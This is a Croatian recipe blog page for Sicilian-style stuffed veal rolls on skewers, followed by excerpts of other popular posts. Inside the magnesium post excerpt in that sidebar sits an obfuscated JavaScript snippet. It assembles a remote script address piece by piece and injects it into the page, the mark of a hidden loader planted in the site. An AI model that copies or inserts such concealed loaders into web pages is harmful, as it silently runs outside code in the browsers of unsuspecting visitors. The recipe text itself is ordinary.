TELEĆE ROLICE NA SICILIJANSKI




Teleće rolice na sicilijanski 



Tanko narezano meso, punjeno jednostavnim, ali aromatičnim nadjevom i pečeno tako da dobije slasnu koricu zvuči kao pravi specijalitet! Pa i je, riječ je o jednom od najpoznatijih sicilijanskih jela. U ovom slučaju, pune se teleći odresci, a peku se uvaljani u krušne mrvice, na tavi s malo maslinovog ulja. Rolice se poslužuju s pečenim krumpirom i sezonskom salatom. Odlično idu uz caponatu ili kakvo slično ljetno jelo poput sataraša, dinstanih tikvica itd. 




Teleće rolice na sicilijanski 


Sastojci:

500 g teletine
80 g pulpe starog kruha
80 g ovčjeg sira
30 g grožđica
30 g pinjola
2 luka
16 listova lovora
2 žlice peršina
maslinovo ulje
sol, svježe mljeveni crni papar




Priprema:

Započnite punjenjem. Kruh narežite pa usitnite u blenderu pa prepržite na suhoj tavi. Jednu kapulu narežite i izdinstajte na maslinovom ulju da omekša i dobije malo boje. Naribajte sir, peršin nasjeckajte. Napravite nadjev od preprženog kruha, izdinstanog luka, ribanog sira, nasjeckanog peršina, pinjola i grožđica. Posolite i popaprite po ukusu.

Narežite drugi luk, po mogućnosti ljubičasti, na 16 kriški u obliku polumjeseca. Teleće odreske podijelite u 12 komada približno jednake veličine, istucite ih batom za meso. Punite ih nadjevom i formirajte rolicu. Rolice rasporedite na 4 štapića za ražnjiće, a između svake rolice stavite list lovora i krišku luka, a njih nabodite na početku i kraju svakog ražnjića. Ražnjiće namažite maslinovim uljem i uvaljajte u krušne mrvice. Pecite na tavi, na zagrijanom maslinovom ulju, povremeno okrećući dok ne dobiju lijepu boju. Otprilike 10 min. Rolice poslužite odmah.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više